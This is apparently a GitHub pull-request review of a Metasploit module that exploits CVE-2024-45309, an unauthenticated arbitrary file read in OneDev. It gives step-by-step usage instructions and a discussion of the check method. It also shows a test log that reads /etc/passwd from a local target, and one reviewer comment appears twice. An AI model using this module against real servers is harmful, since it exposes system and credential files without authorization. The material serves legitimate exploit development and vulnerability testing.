OneDev Unauthenticated Arbitrary File Read (CVE-2024-45309)

[vultza]

This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8.

Verification

A vulnerable Docker image version (v11.0.8) can be found here.

1. Setup the OneDev application
2. Start msfconsole
3. Do: use auxiliary/gather/onedev_arbitrary_file_read
4. Set the RHOSTS and RPORT options as necessary
5. Set the TARGETFILE option with the absolute path of the target file to read

If a valid project name is known:

6. Set the PROJECT_NAME option with the known project name
7. Do: run
8. If the file exists, the contents will be displayed to the user

If there is no information about existing projects:

6. Set the PROJECT_NAMES_FILE option with the absolute path of a wordlist that contains multiple possible values for a valid project name
7. Do: run
8. If a valid project name is found, the target file contents will be displayed to the user

[jheysel-r7]

This will run the check method automagically

Suggested change

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpClient
	prepend Msf::Exploit::Remote::AutoCheck

[vultza]

The reason why I didn't place the autocheck is to prevent the module execution interruption when the target OneDev instance doesn't have anonymous access enabled, since in this case, the check function fails to detect if the OneDev instance is vulnerable, even thought it is. Should I still enable the autocheck in this case?

[jheysel-r7]

If the version check only works when anonymous access enabled and it's not enabled by default I would suggest trying to exploit the vulnerability as a part of the check method.

This auxiliary module does something similar:

metasploit-framework/modules/auxiliary/gather/rails_doubletap_file_read.rb

Line 79 in 3c237b9

if res.body.include? 'root:x:0:0:root:'

It exploits the vulnerability, reads /etc/passwd off the affected system and ensures the file starts with root:x:0:0:root.

On a related note, I noticed it is possible to install OneDev on Windows. Do you know if this vuln is exploitable on Windows has you considered adding support for it? Just curious as if you did go this route in the check method you might have to account for OneDev being installed on Windows.

[vultza]

Hi @jheysel-r7,

I also thought in that approach but my problem with it is that it might not always work as it requires the user to supply a valid PROJECT_NAME, which might not always be the case, resulting in a inconsistent validation check. Still if you think that the auto exploit might be valuable with these inconsistencies, I can quickly add it following the snippet that you provided.

In relation to Windows support, I didn't have the time to validate the vulnerability in a Windows installation since the majority of OneDev instances i saw are on the Linux platform. I might add support to it in the future, but for now I leave it as is.

[jheysel-r7]

Hey @vultza, I see your concerns here. No worries about Windows support for now.

I think we should be trying to exploit the vulnerability in the check method if the PROJECT_NAME is set and anonymous access disabled.

If user already knows a PROJECT_NAME and has populated that datastore option, I think it would be more thorough to attempt to exploit the vulnerability and return Vulnerable or Safe in that scenario than to return the CheckCode Unknown.

[vultza]

Hi @jheysel-r7,

Thanks for the feedback, I followed your recommendation and updated the check method accordingly in 6d206f8.

[jheysel-r7]

Thanks for the responses @vultza. Things are looking good, just a couple comments. Testing was as expected 👍

msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAME my_vulnerable_project
PROJECT_NAME => my_vulnerable_project
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set rport 6610
rport => 6610
ryumsf6 auxiliary(gather/onedev_arbitrary_file_read) > run
[*] Running module against 127.0.0.1

[+] /etc/passwd file retrieved with success.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin

[*] Auxiliary module execution completed

[jheysel-r7]

If the version check only works when anonymous access enabled and it's not enabled by default I would suggest trying to exploit the vulnerability as a part of the check method.

This auxiliary module does something similar:

metasploit-framework/modules/auxiliary/gather/rails_doubletap_file_read.rb

Line 79 in 3c237b9

if res.body.include? 'root:x:0:0:root:'

It exploits the vulnerability, reads /etc/passwd off the affected system and ensures the file starts with root:x:0:0:root.

On a related note, I noticed it is possible to install OneDev on Windows. Do you know if this vuln is exploitable on Windows has you considered adding support for it? Just curious as if you did go this route in the check method you might have to account for OneDev being installed on Windows.